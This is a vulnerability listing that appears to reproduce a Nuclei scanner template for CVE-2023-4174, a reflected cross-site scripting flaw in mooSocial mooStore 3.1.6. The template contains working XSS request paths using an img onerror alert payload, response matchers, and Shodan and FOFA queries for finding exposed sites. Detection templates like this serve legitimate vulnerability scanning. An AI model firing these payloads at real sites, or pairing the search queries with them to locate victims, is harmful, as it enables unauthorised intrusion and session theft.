CVE-2023-4174: mooSocial 3.1.6 - Reflected Cross Site Scripting

2025-08-01 mooSocial 3.1.6 PoC Public

Description

A vulnerability has been found in mooSocial mooStore 3.1.6 and classified as problematic. Affected by this vulnerability is an unknown functionality. The manipulation leads to cross site scripting. The attack can be launched remotely.

PoC

id: CVE-2023-4174

info:
  name: mooSocial 3.1.6 - Reflected Cross Site Scripting
  author: momika233
  severity: medium
  description: |
    A vulnerability has been found in mooSocial mooStore 3.1.6 and classified as problematic. Affected by this vulnerability is an unknown functionality. The manipulation leads to cross site scripting. The attack can be launched remotely.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute malicious scripts in the victim's browser, potentially leading to session hijacking, defacement, or theft of sensitive information.
  remediation: |
    Upgrade to the latest version of mooSocial or apply the vendor-provided patch to fix the XSS vulnerability.
  reference:
    - https://www.exploit-db.com/exploits/51671
    - https://nvd.nist.gov/vuln/detail/CVE-2023-4174
    - https://packetstormsecurity.com/files/174017/Social-Commerce-3.1.6-Cross-Site-Scripting.html
    - https://vuldb.com/?ctiid.236209
    - https://vuldb.com/?id.236209
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2023-4174
    cwe-id: CWE-79
    epss-score: 0.09138
    epss-percentile: 0.95048
    cpe: cpe:2.3:a:moosocial:moostore:3.1.6:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 5
    vendor: moosocial
    product: moostore
    shodan-query: http.favicon.hash:"702863115"
    fofa-query:
      - icon_hash="702863115"
      - moosocial
  tags: cve,cve2023,packetstorm,moosocial,xss,vuln

http:
  - method: GET
    path:
      - '{{BaseURL}}/search/index?q="><img+src=a+onerror=alert(document.domain)>ridxm'
      - '{{BaseURL}}/stores"><img+src=a+onerror=alert(document.domain)>ridxm/all-products?store_id=&keyword=&price_from=&price_to=&rating=&store_category_id=&sortby=most_recent'
      - '{{BaseURL}}/user_info"><img+src=a+onerror=alert(document.domain)>ridxm/index/friends'
      - '{{BaseURL}}/faqs"><img+src=a+onerror=alert(document.domain)>ridxm/index?content_search="><img+src=a+onerror=alert(document.domain)>ridxm'
      - '{{BaseURL}}/classifieds"><img+src=a+onerror=alert(document.domain)>ridxm/search?category=1'

    stop-at-first-match: true

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "<img src=a onerror=alert(document.domain)>ridxm"
          - "mooSocial"
        condition: and

      - type: word
        part: header
        words:
          - "text/html"
# digest: 4b0a00483046022100efb1f911f29ef1b77dd41ac52c128e97cc184206a6a2ebd74832b93f83856bf70221008d761967f6f004cf53bc057cbd5e56bfe82bcdea6ed566203ad22d7901fade38:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

Related Vulnerabilities